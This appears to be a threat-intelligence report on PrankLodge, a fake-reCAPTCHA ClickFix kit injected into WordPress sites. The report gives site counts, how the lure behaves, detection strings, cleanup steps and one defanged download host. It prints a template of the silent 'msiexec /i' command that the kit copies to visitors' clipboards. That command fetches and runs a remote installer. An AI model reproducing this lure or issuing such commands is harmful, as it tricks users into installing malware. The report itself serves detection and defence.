PrankLodge ClickFix kit
PrankLodge is a Windows-only fake reCAPTCHA that repeatedly copies an MSI install command and keeps the visitor in a failed verification loop. We have matched it on 23 sites since 28 August.
PrankLodge in numbers
Since 28 August, the first PrankLodge match in our records, counted on 12 November 2026. How we count.
| Sites with PrankLodge code | 23 |
|---|---|
| Sites with a match in the last 30 days | 15 |
| New sites in October | 4 |
| Still serving it when recaptured at least 25 days later | 12 of 14 sites (86%) |
| Sites running WordPress (captured since 25 September) | 95% |
The page selects Windows desktops
PrankLodge is the code behind __prankCaptchaRoot and __prankCheck. It exits on phones, tablets and non-Windows systems. A matching desktop visitor receives a full-screen overlay with a dark blurred backdrop and a compact fake reCAPTCHA checkbox.
The script has appeared as inline HTML and appended to ordinary WordPress JavaScript, including an Elementor widget asset and jquery-numerator.min.js. Its namespace prevents a repeated copy on the same page from adding a second overlay.
One click becomes a three-step copy trap
Clicking the checkbox copies the command immediately, shows a spinner for about 1.5 seconds, then replaces the compact box with a larger challenge. The visitor is told to open Windows Run, press Ctrl+V, press Enter and return to click VERIFY.
The copied text has this structure:
msiexec /i hxxps://[host]/[path] -QNThe page stores it in CLIP_TEXT. Its helper first attempts a hidden-textarea copy and then calls the Clipboard API. Copying is tied to several interactions: the checkbox, opening the challenge, pressing the mouse anywhere inside the challenge and clicking VERIFY.
VERIFY never completes the challenge. It shakes the panel and displays "Please try again", leaving the instructions available for another attempt. The reload and help controls are cosmetic. An audio control uses the browser's speech synthesizer to read the Run, paste and Enter steps aloud.
What we see
| Month | New sites |
|---|---|
| September | 15 |
| October | 4 |
| November so far | 1 |
Of the 14 sites recaptured at least 25 days after their first match, 12 were still serving PrankLodge (86%). 95% of PrankLodge sites captured since 25 September run WordPress.
14 PrankLodge sites also carry OverlayWar.
Finding every injected copy
Search raw HTML and the full contents of served JavaScript for:
__prankCaptchaRoot,__prankCheckorCLIP_TEXT- a command beginning with
msiexec /i - a
copyTexthelper combining a hidden textarea and Clipboard API - copy calls on checkbox,
mousedownand VERIFY events - a fake reCAPTCHA panel with Windows Run instructions
speechSynthesisreading the three steps- PrankLodge code after the expected end of a WordPress plugin asset
Replace modified assets from trusted packages, remove inline injections and purge every cache that can retain the altered JavaScript.
Hosts its commands download from
PrankLodge lure commands we captured download from 1 host.
| Host | Sites | Last seen | Latest command |
|---|---|---|---|
dank-us[.]com | 23 | CommandURL First seen 6 September 2026, 1 URL on this host. |
The ClickFix command tracker lists every host.